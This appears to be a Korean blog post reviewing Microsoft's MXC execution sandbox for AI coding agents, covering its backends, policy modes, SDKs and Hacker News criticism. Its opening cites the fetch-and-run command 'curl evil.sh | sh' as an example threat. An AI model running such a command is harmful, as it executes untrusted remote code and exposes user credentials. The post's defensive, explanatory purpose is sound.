Microsoft가 AI 에이전트 샌드박스(MXC)를 출시했습니다. 실제 기능과 이름만 그럴싸한 기능을 구분하는 방법

당신의 코딩 에이전트는 쉘, 홈 디렉토리, ~/.aws 폴더, 그리고 열린 네트워크 연결을 가지고 있습니다. 이 모든 것과 curl evil.sh | sh 사이를 가로막는 것은 단지 "그러지 마세요"라고 말하는 시스템 프롬프트가 전부입니다.

이것이 대부분의 환경에서 AI 에이전트 보안의 현주소입니다. 10월 7일, Microsoft는 이 상황을 바꿀 무언가를 출시했습니다: MXC (Microsoft Execution Containers) 1.0입니다. 이는 Hacker News 메인 페이지에 올라갔고 187개 이상의 포인트와 매우 의견이 분분한 댓글 섹션을 남겼습니다.

실제 이것이 무엇인지, 어떻게 사용해야 하는지, 그리고 어떤 회의론은 정당한지에 대해 설명합니다.

MXC란 무엇인가

MXC는 신뢰할 수 없거나 모델이 생성한 코드를 실행하기 위한 정책 기반 샌드박스입니다. 개발자는 프로세스가 어떤 것에 접근할 수 있는지 정의합니다. MXC는 에이전트 외부에서 이를 강제합니다.

Microsoft의 입장은 올바릅니다:

"에이전트는 스스로 보안 권한을 가질 수 없습니다. 에이전트는 개발자나 조직이 정의하고, 에이전트 자체와 독립적으로 강제하는 경계 내에서 실행되어야 합니다."

프롬프트 수준의 가드레일은 제안일 뿐입니다. OS가 강제하는 경계는 다릅니다.

네 가지 백엔드, 하나의 정책

유용한 설계 선택은 다음과 같습니다: 단일 JSON 설정 스키마와 SDK를 사용하고, 그 아래에 여러 개의 격리 수준을 갖는 것입니다.

백엔드	플랫폼	용도
프로세스 컨테이너	Windows 11, macOS, Linux	빠르고 가볍습니다. 내부적으로 AppContainer / Seatbelt / Bubblewrap을 사용합니다
...
정책은 다섯 가지 영역을 다룹니다: 격리 선택(containment choice), 프로세스(명령어, 인자, cwd, env), 파일 시스템, 네트워크, 그리고 UI 접근.

또한 세 가지 모드가 있으며, 제가 좋아하는 부분입니다:

Enforcement (강제): 허가되지 않은 접근은 차단됩니다. 프로덕션 환경에 적합합니다.
Learning (학습): 차단되고 JSON 활동 보고서에 기록됩니다. 에이전트가 실제로 무엇을 필요로 하는지 파악하는 데 사용하십시오.
Permissive (허용적): 허용되지만 기록됩니다. 잠그기 전에 관찰하는 데 사용하십시오.

이것이 올바른 워크플로우입니다. 아무도 처음부터 완벽한 허용 목록(allowlist)을 작성하지 않습니다. 먼저 관찰하고, 그 다음 강화합니다.

사용하기

Node(@microsoft/mxc-sdk), Rust(mxc-sdk), 그리고 .NET(Microsoft.Mxc.Sdk)용 SDK가 존재합니다. 레포지토리 README에 따르면:

import { spawn, type ContainerRequest } from '@microsoft/mxc-sdk/v1';

const request: ContainerRequest = {
...

기본적으로 외부 통신을 차단(Default-deny egress)하고, 하드 타임아웃을 설정하는 것. 이것이 모델이 명령을 결정할 때 감싸야 하는 모든 도구 호출의 형태입니다.

(참고: 일부 서드파티 튜토리얼에서는 readonlyPaths나 maxPid와 같은 필드를 가진 다른 정책 스키마를 보여줍니다. 저는 이를 README와 일치시키지 못했으므로, 이들은 미확인 정보로 간주하고 저장소의 스키마 문서를 확인해 주십시오.)

이미 참여한 업체들

Microsoft의 발표에 따르면 GitHub Copilot, OpenAI Codex, NVIDIA(OpenShell 통합), Replit, LM Studio 및 Unsloth가 이미 지원됩니다. Anthropic의 Claude Code, Box, Egnyte, Perplexity 및 Raycast는 예정된 목록으로 언급되었습니다. 이 저장소는 MIT 라이선스이며 약 2.6k개의 스타를 보유하고 있습니다.

에이전트를 구축하는 공급업체들이 모두 동일한 격리 계층(containment layer)으로 수렴한다면, 그것은 신호입니다. 샌드박싱은 차별화 요소가 아니라 기본 필수 조건(table stakes)이 되어가고 있다는 의미입니다.

HN의 반론 (일부는 타당함)

댓글들이 친절하지 않았으며, 몇 가지 지적 사항들은 다음과 같습니다:

"이것은 1.0 배지를 단 프리뷰입니다." 여러 사람이 문서가 부실하고 프로젝트가 허술하다고 지적했습니다. 서드파티 커버리지에서는 해당 SDK를 "개발 및 비보안 중요 프로덕션 사용에 충분히 안정적"이라고 설명합니다. 보안 경계에 대해 읽고 싶은 문장은 아닙니다.
"Linux는 이미 이 기능을 제공합니다." Bubblewrap, Firecracker, SELinux, gVisor: Linux를 사용한다면 오늘 당장 이것을 구축할 수 있습니다. 물론 사실이고, MXC의 Linux 프로세스 백엔드는 실제로 Bubblewrap을 사용합니다. 가치는 새로운 커널 마법이 아니라 통합된 정책과 크로스 플랫폼 스토리텔링에 있습니다.
"더 많은 레이어가 보안 모델은 아닙니다." 가장 위쪽 댓글에서는 복잡성을 쌓아 올리는 것이 효과적이지 않다고 주장합니다. 맞습니다. 개방적인 정책을 가진 샌드박스는 보여주기식일 뿐입니다.
의심되는 LLM 생성 코드. 한 코멘터는 일부가 "어떻게든 작동하게 만들라"고 지시받은 모델에 의해 생성되었다고 추측했습니다. 다른 사람들은 반론을 제기했습니다. 저는 이렇게 말하고 싶습니다: 논점과는 무관하지만, 귀하의 위협 모델에는 매우 관련성이 높습니다. 신뢰하기 전에 코드를 읽어보세요.

진정으로 긍정적인 점은 다음과 같습니다: Windows 11에서 관리자 권한 없이 앱 컨테이너를 설정하는 것은 실질적인 진전이며, Windows는 이 부분에서 가장 취약했던 플랫폼이었습니다.

제 견해 (My take)

채택해야 할까요? 어디에 있느냐에 따라 다릅니다.

Windows 또는 크로스 플랫폼 도구링을 사용하여 사용자 기기에서 실행되는 에이전트를 구축하는 경우: 네, 지금 평가해보세요. 세 가지 OS 전반에 걸쳐 하나의 정책을 제공하는 것은 다른 어떤 것도 할 수 없습니다.
Linux 서버 측 에이전트: 이미 좋은 옵션들이 있습니다. 포터빌리티(portability)가 필요하지 않다면 Bubblewrap이나 Firecracker를 직접 사용하세요.
실제 비밀 정보를 담는 경우: 실험 단계에서 벗어난 후에는 MicroVM 백엔드를 사용하거나, 아예 신뢰할 수 없는 코드를 그곳에서 실행하지 마세요.

그리고 어떤 것을 선택하든, 먼저 학습 모드(Learning mode)로 실행하고, 기본적으로 외부 통신(egress)을 거부하며, 절대로 자격 증명(credentials)을 샌드박스에 마운트하지 마십시오.

더 큰 핵심은 MXC 자체가 아닙니다. "에이전트는 완전한 접근 권한을 가지며, 프롬프트를 신뢰하라"는 것이 더 이상 용인되는 기본값이 아니라는 점입니다. MXC가 이름만 v1일지라도, 그 방향성은 옳습니다.

링크: microsoft/mxc on GitHub · Microsoft 발표 · HN 토론